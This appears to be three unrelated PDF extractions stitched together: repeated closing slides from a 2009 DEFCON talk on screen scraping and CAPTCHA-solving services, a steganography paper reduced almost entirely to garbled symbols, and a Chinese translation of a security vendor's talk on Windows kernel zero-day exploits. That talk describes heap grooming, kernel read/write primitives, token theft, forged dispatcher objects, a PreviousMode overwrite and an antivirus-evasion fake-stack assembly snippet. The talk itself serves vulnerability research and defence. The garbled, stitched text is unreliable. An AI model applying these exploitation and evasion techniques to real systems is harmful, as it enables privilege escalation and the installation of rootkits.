IMAGE SENT TO SERVICE CAPTCHA SOLVED BY HUMAN EMBEDDED TEXT SENT BACK TO REQUESTOR TEXT IS ENTERED IN CAPTCHA TEXTBOX DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment There are CAPTCHA solving services CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA IMAGE SENT TO SERVICE CAPTCHA SOLVED BY HUMAN EMBEDDED TEXT SENT BACK TO REQUESTOR TEXT IS ENTERED IN CAPTCHA TEXTBOX CAPTCHA SOLVED! (Unintentional Consequences) DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Heartwarming moment There are CAPTCHA solving services CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA DISPLAYED ON WEB PAGE CAPTCHA IMAGE SENT TO SERVICE CAPTCHA SOLVED BY HUMAN EMBEDDED TEXT SENT BACK TO REQUESTOR TEXT IS ENTERED IN CAPTCHA TEXTBOX CAPTCHHA SOLVED! (Unintentional Consequences) A FEEL GOOD WIN-WIN SITUATION! SPAMMERS PAY TO DIGITIZE OLD DOCUMENTS PEOPLE IN DEVELOPING NATIONS HAVE JOBS DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] In conclusion Review of traditional scraper theory Described web design technologies and techniques that create “difficult cases” for webbot/screen scraper developers Saw that iMacros can solve most (all) difficult cases by: Absolute browser emulation Complete control (through hacks) Looked at managing large scale deployments DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] In conclusion Review of traditional scraper theory Described web design technologies and techniques that create “difficult cases” for webbot/screen scraper developers Saw that iMacros can solve most (all) difficult cases by: Absolute browser emulation Complete control (through hacks) Looked at managing large scale deployments DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] In conclusion Review of traditional scraper theory Described web design technologies and techniques that create “difficult cases” for webbot/screen scraper developers Saw that iMacros can solve most (all) difficult cases by: Absolute browser emulation Complete control (through hacks) Looked at managing large scale deployments DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] In conclusion Review of traditional scraper theory Described web design technologies and techniques that create “difficult cases” for webbot/screen scraper developers Saw that iMacros can solve most (all) difficult cases by: Absolute browser emulation Complete control (through hacks) Looked at managing large scale deployments DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] In conclusion Review of traditional scraper theory Described web design technologies and techniques that create “difficult cases” for webbot/screen scraper developers Saw that iMacros can solve most (all) difficult cases by: Absolute browser emulation Complete control (through hacks) Looked at managing large scale deployments DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] In conclusion Review of traditional scraper theory Described web design technologies and techniques that create “difficult cases” for webbot/screen scraper developers Saw that iMacros can solve most (all) difficult cases by: Absolute browser emulation Complete control (through hacks) Looked at managing large scale deployments DEFCON XVII July 31-Aug 2, 2009 Las Vegas, Nevada Screen Scraper Tricks: Difficult cases [email protected] Thank you! Questions? www.schrenk.com [email protected] twitter.com/mgschrenk
pdf
! " #$ % &''& ( #) * + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * &,) &''& * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ( - + * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ) # ( # ! " # $ % % &" $ ' # ! % % ( % % ) ! % ! * + * , - " + ./ . 0 1 2 " ! % + 3 4 5 6 44 # 7 6 4 . - 4 43 , " , 4 4 0 4 48 + 5!9 4 4: , " + 4 4; $ ) % 48 , 46 3 4< 34 = 4< 3 5 . 33 3 3 + : 4 : & : 3 + ; 8 5 3 84 3 8 3 83 + 34 8 ' 34 : = 33 8 !4 , > ! ( % ! >! ( < ! , - ' 46 !3 % 4 ! < !8 , ' ? * 43 4 3 !: , 3 : 4 = * 4: 88 ! ; @ , % 9 , % " ? % A 0 % , % '! 9 , 5 % % " 5 % % , -B . % ! ' % 5 ! % ! " = 44 % C- ,1<<D % E F ." % % ! % ? A 5 ! 5 5 ! 6 Visible Watermarking Covert Channels Steganography Anonymity Copyright Marking Information Hiding Linguistic Steganography Technical Steganography Robust marking Fragile marking Fingerprinting Watermarking Imperceptible Watermarking = !4* , > ( % > ( ' 5 % % " ) % " # " / / 5 % " ' ' ' 5 ' " % " Æ , % % " C1-<<D % B " C- ,1<6 ,-D % " % " < , % * ! & ! % + ! $ CG$<6 D C<6D % " ! % " 0 % Æ ' C1-D ) E) @ F C,-<6D % " % % % % % " % % % 9 ' % % % % % % ' " $ % 5- % ' % ( C6 D 5 , 9 4 # % % # % % " % % % ! " % 5 0 # " # -BC#-<<D 0 " H " % ! % " % ? % A % I " , ' " % % " " B 5 " H " " " % B % 0 % % ' B % ) ! % % ) ' 2! , " H " % ! J " 5 " 5 " " % % % ! ' " 44 % " " "C- ,1<6 ,-D % " % " % ) 5 % % ! ! " , C<6D B ? "A 5 " % & 5 " % " ? A Æ ) ! 0 % " % % 1 / ( ! % " 2 % ' 1( E " FC1:; D % " % ! ) ' % " K " " ' 5 " % ' " , # 4 # 5 5 % B " ) 0 , - % 0 % % !! % , 0 " 0 % % , % ( 5 ' ( ? % % A % J + ! ' % ! % C#-<< = .4 D % , " % % % ! ' 5 # # 5 5 % " ! 5 E= F % E= F % E5 = 7F ' % 5 % % % % 43 " # $%&' , C D CGD C D % 0 % " % C#-<< = .4 D , % " = ) C-4D ! " % % ) , % % =8 C# 4 D ( # % ' % ! % 5 % / % C#-<< = .4 -0D 5 ' Æ ! ' % " % ! ? A 5 4<<6 , -B , # " C#-<<D + 2 - % 9 C4 D % " ! % C-0D 0 E%F + G = 4 C= .4 = .4 D G-. % ' % " % / % % % " ' % % 0 % J ) *+ +, 5 4: % $ ) $ % 0 9 % % " % $ % # " ' C-4 # 4D % % % % , " # % 48 % ' # ( % % 0 % " % % % # % % E %F % , 4: % 5 % , % % / % " # % " ( % " C<6D % , % % J % " ! $ % % " % 5 $ , % $ % $ % 5 % % " % 4: % " % I , % ' $ % % " 5 B % B % % % % L $ " % 5 ! ' " % % " 5 $ % ' Æ % , % ! 5 % % " % @ % B $ 5 % B 5 % % ? A ? 3A % % " ? 3A ? A ? :A 4; = !* , - ' 5 ( 43 $( # * # % Æ = % , 9( % , 9 % % ! 0 % $ % " ' % "C,-<6 D @ " % " % % % % " % 5 Æ % % Æ / 5 ! 46 ! " # $ ? A % - . ' / 0 , % ? A ?4A % % % % * 4 % ? % A ? A % 5 % $ , % % ? A $ # " , % " 5 % ? ! 6 A % 6 ' 4< + !: :!: :!;3 ;3!63 63!< <!4 4!46 46!448 M 4 3 8 : ; + 448!43 4!43 43!4 4!48 48!4:< 4:<!466 466!4 4!88 M 6 < 4 44 4 43 4 48 4* = * 4: 88 ! ' ! % 8: # % # 8: 5 " # % , % % % # " % % % ? ?6AA ?A ?A ' ' % " % ' 5 % % # % % # N % 4 5 % % % ! % = % , % % % % % @ M 2 5 8 48 4 8 3 8 48 4 8 = !3* % % % ! # % " % !3 % 44 ' 8: ' % K $ ' 5 % ' 5 B % # ' $ 0 % % % / , % 5 J % 4 1 $ % % % % 0 % % $ % % 5 ! ' ' % % Æ . ? A ? % A 1 % % % % ' % ! % E %F % % % 0 % % % % , % / ? A % % EF % % 5 / % % % % - " % % % % ' % , ' E F % ' % , E = , - # "F % % E2% , ,F ) ' % " % % EF % / % " % / # ' E % % " F 5 EF % ?J A % " ) " " 0 % ?% % % A % % J % * 5 % % ? A % % % % % % % % % % ' " 5 , 9 J O 0 % % , 9 ' + 5 " % " 5 @ % % % " ) % % % % % 5 % % % ? N A % % " " % %* 3 . % , ! ? N A ) % %* " % ( " ' ? A ! " % % " 5 " 5 ! ) % % # ) % * " % % % % % " % ( ( % ? % " ( 'A " % " " % 5 ( * M ( % % ? A % % & ! " ' ' 8 $ % Æ " , % % * ! & ! % + ! 1' 5 ! 5 % % $ " " B 2' Æ 5 % " * " % " % " . " % 5 % : % C-4D ) ' G-. % C= .4D ) " % 0 % % % # % % % $ 5 % ? 34A % % % 5 % $ % E%F % % % B % % % ' % ! % " % ' % % 5 % % % " % % % / E%F % # 3 % % / % #0 B , % / K' 0 % % '7 ; 5 "7 % " % " 0 % % % % % " , " " C- ,1<6 ,-D " ) % " ? A % < 4< % Æ " % ' % " 5 % % " K % % % # % ' % ? % A % 6P # % Æ % % ! % % " % , ' % ? A C.4D 5 B % % " ! " ## 6 = !* 5 / % % % " , " % ' 5 % % % % % H , 5 B % / E " F , " " ) % " < & $ 5 - % % ' % % % ' " 1 3 5 % % % " % Æ ' " ' 4 % ?A " ' 9 % 9 9 $ ! " " 5 % ' " , " " ' 5 $ ! Æ 3 " #+ 4 5 " % 5 ' " .5 5 % , EF , % ! % EF , ' = !8 # % % % ! E F % $ E F % 8:4::: :<8:8: 8:4848;8: 88;3< 6 : % : 5 % % ' " B % = !: 34 01 02 03 04 = !8* , ' ? * 43 4 5 2 6 1 6 14 6 4 6 15 6 13 4 9 5 6 5 12 11 6 15 15 5 14 4 12 6 1 5 1 14 10 11 5 7 = !:* , 3 ' ( ) " $ % % , ' % " ' 5 % ' ) % % % " " * = 5 = % # " " 33 C,-<6D + , = , - ) 4:*;Q64 4<<6 C,-D = ,- - # " 4;?8A*86Q: C<6D , ! 5 ,! ! "## $ % 3:Q346 4<<6 + 4 - , +! I6 C<6D ) !" % ! 5 , ! "## $ % 388Q3:6 4<<6 C<6D 5 34<Q36 4<<6 C= .4D G = .J + + 5 & ! & ' ;Q3 4 C= .4D G = .J + J ! 5 & ' ( 4 3 CGD G CG$<6D G$ 5 ,! ! "## $ % 3Q38 4<<6 C1:;D 1 )! 4<:; C1-<<D 1 = - , " % " 5 * ' & +,#- 4<Q3< 4<<< C1-D 1B = , - 5 .,-# ' & C.4D , .% 5 4 C- ,1<6D = , - + G , . 1 , " " 5 , ! "## $ % 4<Q3< !M 4<<6 C- ,1<<D = , - + G , . 1 5 Q 5 ! 4<<< C-0D 2 - - 0 5 / %012 C-4D 2 - 5 "2! 3 ' ' 4 C4D 9 ' %% 4 ! 38 C6D . ( 5 4 5)/ 16+ 84Q:; - - 4<6 CD 3 CD 3 4 C# 4D , # 0 * =8! ! 5 7 ! ! 34Q348 4 C#-<<D , # , -B , " 5 )! ! 188 :4Q;: 4<<< 3:
pdf
Momigari 最新的Windows操作系统内核在野漏洞概述 Boris Larin @oct0xor 30-May-19 Anton Ivanov @antonivanovm 讲师介绍 高级恶意软件分析师(启发式检测和漏洞研究团队) Boris Larin 高级威胁研究和检测团队负责人 Anton Ivanov Twitter: @oct0xor Twitter: @antonivanovm 3 内容梗概 Momigari: 日本人在秋天寻找最美 丽的树叶的传统 中国东北 吉林省 蛟河市. [新华社图片] http://en.safea.gov.cn/2017-10/26/content_33734832_2.htm 4 内容梗概 5 内容梗概 1)我们将简要介绍我们找到零日漏洞的方法以及所面临的挑战 2)我们将介绍我们发现的三个在野特权提升(EOP)零日攻击 • Windows系统内核漏洞利用变得更加困难 • ITW样本分析帮助我们获得事情的现状和新技术的见解 • 我们将详细介绍Windows 10 RS4的两个漏洞利用 3)我们将揭示这些漏洞采用的开发框架 卡巴斯基实验室检测技术 6 我们通常会在报告中添加此详细信息: 这是我们去年发现的所有漏洞背后的两项技术 技术#1 - 漏洞利用预防 7 交付 内存 操纵 运行 Shellcode 执行 预防漏洞利用 检测和阻止 Payload执行 开始 技术#2 - 沙箱 用于分析的装配工 件 用于测试的 文件/ URL - 执行日志 - 内存转储 - 系统/注册表更改 - 网络连接 - 截图 - 利用工件 关于判定活动性质的详细数据 测试虚拟机 文件/ URL将被发送到多个测试虚拟机 工件记录 检测漏洞 发现 开发 研究 如何: 卡巴斯基实验室捕获的在野漏洞利用 • 2018年5月 - CVE-2018-8174(Windows VBScript引擎远程执行代码漏洞) • 2018年10月 - CVE-2018-8453(Win32k特权提升漏洞) • 2018年11月 - CVE-2018-8589(Win32k特权提升漏洞) • 2018年12月 - CVE-2018-8611(Windows内核特权提升漏洞) • 2019年3月 - CVE-2019-0797(Win32k特权提升漏洞) • 2019年4月 - CVE-2019-0859(Win32k特权提升漏洞) 近一年来: 是什么让我们夜不能寐 一家公司在一年内发现了六个漏洞 其中一个漏洞是通过Microsoft Office中的远程代码执行 还有五个漏洞涉及到特权提升 虽然这个数字很大,但它只是冰山一角 单个漏洞获取计划的奖金示例 https://zerodium.com/program.html: 为什么我们没有看到很多针对浏览器的漏洞,其他软件的漏洞, 以及网络零点击远程代码执行的漏洞被捕获? 即使漏洞攻击已经被检测到了,大部分的案例分析所需要的数据远比实际检测中所能收集到的数据要多 零日发现的复杂度 我们的技术旨在漏洞的检测和预防开发 但要确定检测到的漏洞是否为零日漏洞,则需要进行额外的分析 一些漏洞很容易被发现 沙箱进程开始有异常的行为 一些漏洞很难被发现 由其他软件引起的虚假警报 示例:安装在同一台计算机上的两个或多个安全软件 需要改进的领域(浏览器) 需要进一步的分析漏洞利用脚本 扫描整个内存以查找所有脚本同样是不切实际的 可能的解决方法: 浏览器为安全应用程序提供接口以请求加载的脚本(类似于反恶意软件扫描接口(AMSI)) 问题: 如果在同一进程中实现,漏洞利用程序可以对此进行修复 检测特权提升漏洞 特权提升漏洞通常用于攻击的后期阶段 当前操作系统提供的事件记录足以用于构建检测 由于它们通常以本机代码实现 - 因此可以轻松分析它们 特权提升漏洞可能是最适合用于分析的 15 案例 1 CVE-2018-8453 攻击模块以加密的形式分发 我们发现的样本仅针对x64平台 • 但分析表明对x86的攻击也是可以是实现的 编写的代码是为了支持下一个OS版本 : • Windows 10 build 17134 • Windows 10 build 16299 • Windows 10 build 15063 • Windows 10 build 14393 • Windows 10 build 10586 • Windows 10 build 10240 • Windows 8.1 • Windows 8 • Windows 7 16 Win32k 我们今天要讨论的四个漏洞中有三个存在于Win32k中 Win32k是一个处理图形,用户输入,UI元素的内核模式驱动程序 它自Windows诞生之时就存在了 起初它是在用户模式上实现的,但后来它的主要部分被转移到了内核 • 为了提升性能 这是一个非常大的攻击面 • 超过1000个系统调用 • 用户态回调 • 共享数据 超过一半的Windows内核安全漏洞是在win32k.sys中找到的 https://github.com/Microsoft/MSRC-Security-Research/blob/master/presentations/2018_10_DerbyCon/2018_10_DerbyCon_State_of%20_Win32k_Security.pptx 17 安全性的提升 在过去几年中,Microsoft进行了许多改进,这些改进使针对内核的攻击变得更为困难并提高了整体安全性 防止对于创建读写原语的特定内核结构的滥用 • 对tagWND的额外检查 • GDI Bitmap对象的强化(SURFACE对象的类型隔离) • ... 内核ASLR的改进 • 修复了通过共享数据公开内核指针的多种方法 CVE-2018-8453是第一个针对Windows 10 RS4 Win32k的漏洞 从我们发现的漏洞中可以看出这项工作的结果。 越新的操作系统=更少的漏洞利用。 18 CVE-2018-8453 从代码中可以看出这个漏洞最初似乎不并支持对Windows 10 build 17134的攻击, 是在后期添加的 也有一种可能是这个攻击在此版本发行之前就已经存在,但我们没有任何证据 可以证明这一猜测 19 CVE-2018-8453 win32k!tagWND (Windows 7 x86) Microsoft从调试符号中删除了win32k!tagWND, 但在Windows 10 (17134) 中FNID还是处在相 同的位置 FNID(功能ID)定义了一类窗口 (它可以是ScrollBar,菜单,桌面等) 高位字节定义了窗口释放 FNID_FREED = 0x8000 漏洞位于syscall NtUserSetWindowFNID 20 CVE-2018-8453 在NtUserSetWindowFNID中,系统调用tagWND-> fnid,如果它等于0x8000(FNID_FREED),则不会 被检查 可以更改正在释放的窗口的FNID 21 CVE-2018-8453 Microsoft通过调用IsWindowBeingDestroyed() 函数修补了漏洞 22 CVE-2018-8453 在报告这个漏洞时,MSRC不确定这个攻击在最新版本的Windows 10中是否可以实现,因此要求我们提供了 完整的漏洞利用证据 以下幻灯片显示了对Windows 10 build 17134漏洞利用的的逆向分析 出于显而易见的原因,我们不会分享完整的漏洞利用 23 CVE-2018-8453 漏洞利用主要来自在用户态回调上设置的钩子 钩子回调: 设置钩子: • 从PEB获取KernelCallbackTable的地址 • 用我们自己的处理程序替换回调指针 fnDWORD fnNCDESTROY fnINLPCREATESTRUCT Patch Table 24 CVE-2018-8453 漏洞利用会创建窗口并使用ShowWindow() 回调将被触发 * 稍后将需要使用影子进行攻击 fnINLPCREATESTRUCT SetWindowPos()将强制ShowWindow()调用AddShadow()并创建影子 25 CVE-2018-8453 漏洞利用会创建滚动条并执行Heap Groom 单击滚动条上的鼠标左键会启动滚动条轨道 • 它执行消息WM_LBUTTONDOWN发送到滚动条窗口 • 导致在内核中执行win32k!xxxSBTrackInit() 准备内存布局 将消息发送到滚动条窗口以进行启动 26 CVE-2018-8453 在漏洞利用中有五种(!)不同的Heap Groom策略 零日攻击与常规公共攻击的区别是什么? 通常,为实现最佳可靠性需要投入大量精力 27 CVE-2018-8453 fengshui_17134: Blind heap groom fengshui_16299: • 注册0x400类(lpszMenuName = 0x4141€|) • 创建窗口 • 使用Tarjei Mandt描述的技术泄漏地址 NtCurrentTeb()->Win32ClientInfo.ulClientDelta fengshui_15063与fengshui_16299相似 fengshui_14393: • 创建0x200位图 • 创建加速器表 • 使用gSharedInfo泄漏地址 • 销毁加速器表 • 创建0x200位图 fengshui_simple: CreateBitmap & GdiSharedHandleTable Windows 10 Mitigation Improvements 28 CVE-2018-8453 xxxSBTrackInit() 最终会执行 xxxSendMessage(, 0x114,…) 0x114 是 WM_HSCROLL 消息 将消息转换为回调 WM_HSCROLL fnDWORD 回调 如何执行回调? 29 CVE-2018-8453 在漏洞利用程序中,在fnDWORD用户态回调挂钩中有状态机 • 状态机是必需的,因为fnDWORD 用户态回调经常被使用 • 我们在fnDWORD钩子中的漏洞利用有两个阶段 阶段1 - 在WM_HSCROLL消息中销毁fnDWORD用户模式回调内的窗口 第一个释放的就是影子(这就是影子需要初始化的原因) 它将导致执行fnNCDESTROY回调 30 CVE-2018-8453 在fnNCDESTROY用户态回调期间,查找释放的影子和并触发漏洞 影子窗口的FNID不再是FNID_FREED! Call stack: 31 CVE-2018-8453 由于更改了FNID消息,WM_CANCELMODE将导致释放USERTAG_SCROLLTRACK! 第2阶段(在fnDWORD钩子内) 这最终将导致双重释放 Call stack: 32 CVE-2018-8453 使用WM_CANCELMODE释放USERTAG_SCROLLTRACK可以重新利用刚刚释放的内存 释放被分配到Fengshui()中的Bitmats,并分配更多 33 CVE-2018-8453 xxxSBTrackInit()将通过释放USERTAG_SCROLLTRACK完成执行,但最后的 结果是释放GDITAG_POOL_BITMAP_BITS 释放 USERTAG_SCROLLTRACK 释放 GDITAG_POOL_BITMAP_BITS 双重释放: 34 CVE-2018-8453 新的缓解措施:GDI对象隔离(在Windows 10 RS4中实施) Francisco Falcon 的相关文章可以从下面地址访问: https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html 新的缓解措施断绝了常见的使用Bitmaps的漏洞利用: • 用于漏洞利用的的SURFACE对象现在不会被分配给像素数据缓冲区 使用Bitmap对象的内核漏洞利用已经完全被断绝 但是你也可以看到它不会完全灭绝 35 CVE-2018-8453 漏洞利用程序创建了64个线程 然后在使用win32k功能后每个线程都被转换为GUI线程 没有关于THREADINFO的记录,但结部分构可通过win32k!_w32thread获得 GetBitmapBits / SetBitmapBits用于覆盖THREADINFO数据 这将使得THREADINFO被分配到一个代替bitmap的位置 36 CVE-2018-8453 对THREADINFO的控制将允许SetMessageExtraInfo小工具的使用 Peek and poke *(u64*)((*(u64*) THREADINFO+0x1A8)+0x198) 0x1A8 - Message queue 0x198 - Extra Info 37 CVE-2018-8453 用任意地址替换消息队列指针 读取quadword,但使用零值覆盖 恢复消息队列指针 用任意地址替换消息队列指针 在地址处设置quadword 恢复消息队列指针 恢复原始值 38 CVE-2018-8453 THREADINFO还包含指向进程对象的指针 漏洞利用使用它来窃取系统令牌 39 案例 2 CVE-2018-8589 win32k中的竞争条件 发现的在野漏洞只针对Windows 7 SP1 32位 至少需要两个处理器内核 可能是今天提出的最无趣的漏洞,但它带来了更大的发现 40 CVE-2018-8589 CVE-2018-8589是win32k中一个复杂的竞争条件,这是由于线程之间同步发送的消息锁定不当引起的 找到了使用MoveWindow()和WM_NCCALCSIZE消息的漏洞利用样本 41 CVE-2018-8589 两个线程都具有相同的窗口过程 第二个线程启动递归 线程 1 线程 2 42 CVE-2018-8589 窗口程序 WM_NCCALCSIZE窗口消息回调中的递归 移动相反线程的窗口以增加递归 相反线程 本线程 在线程终止期间触发最大递归级别的竞争条件 43 CVE-2018-8589 对于漏洞利用,以指向shellcode的指针来填充缓冲区就足够了。 SfnINOUTNCCALCSIZE的返回地址将被覆盖 并被劫持执行 漏洞将生成由攻击者控制的lParam结构的异步复制 44 框架 CVE-2018-8589带来更大的发现,因为它是更大的开发框架的一部分 • 杀毒软件逃逸 • 可靠地选择最合适的漏洞利用方式 • 利用DKOM控制安装rootkit 框架目的 45 框架 - 杀毒软件逃逸 漏洞利用程序会检查emet.dll是否存在,如果它不存在,则使用trampolines执行所有功能 • 在系统库的文本部分中搜索模式 • 使用小工具构建虚假堆栈并执行函数 /* build fake stack */ push ebp mov ebp, esp push offset gadget_ret push ebp mov ebp, esp push offset gadget_ret push ebp mov ebp, esp … /* push args*/ … /* push return address*/ push offset trampilne_prolog /* jump to function */ jmp eax 46 框架 - 可靠性 可以多次触发漏洞利用 为了可靠的利用,需要适当的互斥 否则,执行多个漏洞提权实例将导致BSOD 使用CreateMutex()函数可能会引起怀疑 47 框架 - 可靠性 内存块的存在意味着漏洞正在运行 创建Mutex 48 框架 - 可靠性 这个框架可以带有多个漏洞利用程序(嵌入或从远程资源接收) 漏洞利用程序执行Windows操作系统版本检查以查找目标版本是否支持此漏洞程序 这个框架可尝试不同漏洞利用方法,直到找到合适的 每个漏洞利用都提供了可执行内核shellcode的接口 嵌入式漏洞利用的最大值 我们已经观察到了4种不同的漏洞 49 框架 - 军械库 CVE-2018-8589 CVE-2015-2360 CVE-2018-8611 CVE-2019-0797 ? ? ? 目前我们找到了4个,但最多可能有10个? 50 案例 3 CVE-2018-8611 tm.sys驱动程序中的竞争条件 代码是为了支持下一个OS版本 : • Windows 10 build 15063 • Windows 10 build 14393 • Windows 10 build 10586 • Windows 10 build 10240 • Windows 8.1 • Windows 8 • Windows 7 新的漏洞利用瞄准了以下OS版本: • Windows 10 build 17133 • Windows 10 build 16299 允许在Chrome和Edge中的沙箱逃逸,因为系统调用过滤缓解技 术不适用于ntoskrnl.exe系统调用。 51 CVE-2018-8611 tm.sys驱动程序实现内核事务管理器(KTM) 它用于处理错误: • 将更改作为事务执行 • 如果出现问题,则回滚更改到文件系统或注册表 如果您正在设计新的数据存储系统,它还可用于协调更改 52 CVE-2018-8611 Resource manager objects Transaction objects Enlistment objects KTM Objects Transaction manager objects Transaction :事务 - 数据操作的集合 Resource manager :资源管理器 - 管理可由事务处理操作更新的数据资源的组件 Transaction manager :事务管理器 - 它处理事务客户端和资源管理器的通信 它还跟踪每个事务的状态(没有数据) Enlistment :登记 - 资源管理器和事务之间的关联 53 CVE-2018-8611 为了最大化的利用漏洞,漏洞利用程序首先创建一个命名管道并打开它进行读写 然后它会创一组新的对象 transaction manager objects, resource manager objects, transaction objects Transaction 1 Transaction 2 54 CVE-2018-8611 Transaction 1 Transaction 2 55 CVE-2018-8611 漏洞利用程序会创建多个线程,并将它们绑定到单个CPU核心 Thread 1 在循环中调用NtQueryInformationResourceManager Thread 2 尝试执行一次NtRecoverResourceManager 56 CVE-2018-8611 漏洞利用发生在第三个线程内 该线程执行NtQueryInformationThread以使用RecoverResourceManager来获取最后一个线程系统调用 成功执行NtRecoverResourceManager意味着已发生竞争条件 在此阶段,在先前创建的命名管道上执行WriteFile将导致内存损坏 57 CVE-2018-8611 CVE-2018-8611是函数TmRecoverResourceManagerExt中的竞争条件 在功能启动时检查ResourceManager是否在线 检查登记是否已完成 但是,在处理所有登记之前,可能会发生ResourceManager的破坏 … 58 CVE-2018-8611 Microsoft通过以下更改修复了漏洞: • 检查登记状态是否已删除 • 检查ResourceManager是否处于联机状态且被添加 59 CVE-2018-8611 我们控制了登记对象,那么如何利用它? 这里并没有太多的代码路径 如果通过检查,我们能够AND任意值。 似乎很难利用。 60 CVE-2018-8611 我们控制了登记对象,那么如何利用它? 这里并没有太多的代码路径 我们可以创建我们自己的对象(PVOID)(v10 + 64) 61 CVE-2018-8611 62 CVE-2018-8611 Dispatcher objects: nt!_KEVENT nt!_KMUTANT nt!_KSEMAPHORE nt!_KTHREAD nt!_KTIMER … dt nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER … dt nt!_DISPATCHER_HEADER +0x000 Lock : Int4B +0x000 LockNV : Int4B +0x000 Type : UChar +0x001 Signalling : UChar … 63 CVE-2018-8611 dt nt!_KOBJECTS EventNotificationObject = 0n0 EventSynchronizationObject = 0n1 MutantObject = 0n2 ProcessObject = 0n3 QueueObject = 0n4 SemaphoreObject = 0n5 ThreadObject = 0n6 GateObject = 0n7 TimerNotificationObject = 0n8 TimerSynchronizationObject = 0n9 Spare2Object = 0n10 Spare3Object = 0n11 Spare4Object = 0n12 Spare5Object = 0n13 Spare6Object = 0n14 Spare7Object = 0n15 Spare8Object = 0n16 ProfileCallbackObject = 0n17 ApcObject = 0n18 DpcObject = 0n19 DeviceQueueObject = 0n20 PriQueueObject = 0n21 InterruptObject = 0n22 ProfileObject = 0n23 Timer2NotificationObject = 0n24 Timer2SynchronizationObject = 0n25 ThreadedDpcObject = 0n26 MaximumKernelObject = 0n27 64 CVE-2018-8611 提供伪造的 EventNotificationObject 65 CVE-2018-8611 在当前线程处于等待状态时,我们可以从用户态修改调度程序对象 基于_KWAIT_BLOCK的地址,我们可以计算_KTHREAD的地址 0: kd> dt nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x018 SListFaultAddress : Ptr64 Void +0x020 QuantumTarget : Uint8B +0x028 InitialStack : Ptr64 Void +0x030 StackLimit : Ptr64 Void +0x038 StackBase : Ptr64 Void +0x040 ThreadLock : Uint8B ... +0x140 WaitBlock : [4] _KWAIT_BLOCK +0x140 WaitBlockFill4 : [20] UChar +0x154 ContextSwitches : Uint4B ... _KTHREAD = _KWAIT_BLOCK - 0x140 66 CVE-2018-8611 修改调度程序对象,构建SemaphoreObject 0: kd> dt nt!_KMUTANT +0x000 Header : _DISPATCHER_HEADER +0x018 MutantListEntry : _LIST_ENTRY +0x028 OwnerThread : Ptr64 _KTHREAD +0x030 Abandoned : UChar +0x031 ApcDisable : UChar mutex->Header.Type = SemaphoreObject; mutex->Header.SignalState = 1; mutex->OwnerThread = Leaked_KTHREAD; mutex->ApcDisable = 0; mutex->MutantListEntry = Fake_LIST; mutex->Header.WaitListHead.Flink = 0: kd> dt nt!_KWAIT_BLOCK +0x000 WaitListEntry : _LIST_ENTRY +0x010 WaitType : UChar +0x011 BlockState : UChar +0x012 WaitKey : Uint2B +0x014 SpareLong : Int4B +0x018 Thread : Ptr64 _KTHREAD +0x018 NotificationQueue : Ptr64 _KQUEUE +0x020 Object : Ptr64 Void +0x028 SparePtr : Ptr64 Void 67 CVE-2018-8611 waitBlock.WaitType = 3; waitBlock.Thread = Leaked_KTHREAD + 0x1EB; 0: kd> dt nt!_KWAIT_BLOCK +0x000 WaitListEntry : _LIST_ENTRY +0x010 WaitType : UChar +0x011 BlockState : UChar +0x012 WaitKey : Uint2B +0x014 SpareLong : Int4B +0x018 Thread : Ptr64 _KTHREAD +0x018 NotificationQueue : Ptr64 _KQUEUE +0x020 Object : Ptr64 Void +0x028 SparePtr : Ptr64 Void Call to GetThreadContext(…) will make KeWaitForSingleObject continue execution 使用WaitType = 1 向WaitList添加一个线程 68 CVE-2018-8611 伪造的 Semaphore 对象将传递给 KeReleaseMutex,它是 KeReleaseMutant 的包装器 Check for current thread will be bypassed because we were able to leak it 69 CVE-2018-8611 由于精心设计的 WaitBlock 的 WaitType 值为 3, WaitBlock 将被传递给 KiTryUnwaitThread 70 CVE-2018-8611 KiTryUnwaitThread 是一个很大的函数,但最有趣的事情在函数末尾 这被设置为 Leaked_KTHREAD + 0x1EB 我们可以将 Leaked_KTHREAD + 0x1EB + 0x40设置为0! 71 CVE-2018-8611 KTHREAD + 0x22B 0: kd> dt nt!_KTHREAD ... +0x228 UserAffinity : _GROUP_AFFINITY +0x228 UserAffinityFill : [10] UChar +0x232 PreviousMode : Char +0x233 BasePriority : Char +0x234 PriorityDecrement : Char 72 CVE-2018-8611 一个字节就彻底统治它们 73 CVE-2018-8611 由于能够使用NtReadVirtualMemory,进一步提升权限和安装rootkit是非常简单的 可能的缓解措施: • 核心调度程序对象的强化 • 对PreviousMode进行密码验证 滥用调度程序对象似乎是一种有价值的开发技术 • 非常感谢Microsoft快速的处理我们的研究发现。 • 零日似乎有很长的寿命。 被精心设计的漏洞能够绕过缓解措施。 • 攻击者知道,如果漏洞可以被发现,安全厂商就一定会发现漏洞。 因此他们也在谋求改变以实现更好的杀毒 软件逃逸。 • 我们发现的两个漏洞是针对Windows 10的最新版本,但是大多数零日都是针对旧版本的。 这意味着缓解措 施正在发挥作用。 • 竞争条件漏洞正在逐渐增加。 我们发现的五个漏洞中有三个是竞争条件漏洞。 非常好的模糊分析器 (Bochspwn的重现?)或静态分析? 我们将看到更多像这样的漏洞。 • Win32k锁定和系统调用过滤是有效的,但攻击者切换到利用ntoskrnl中的错误。 • 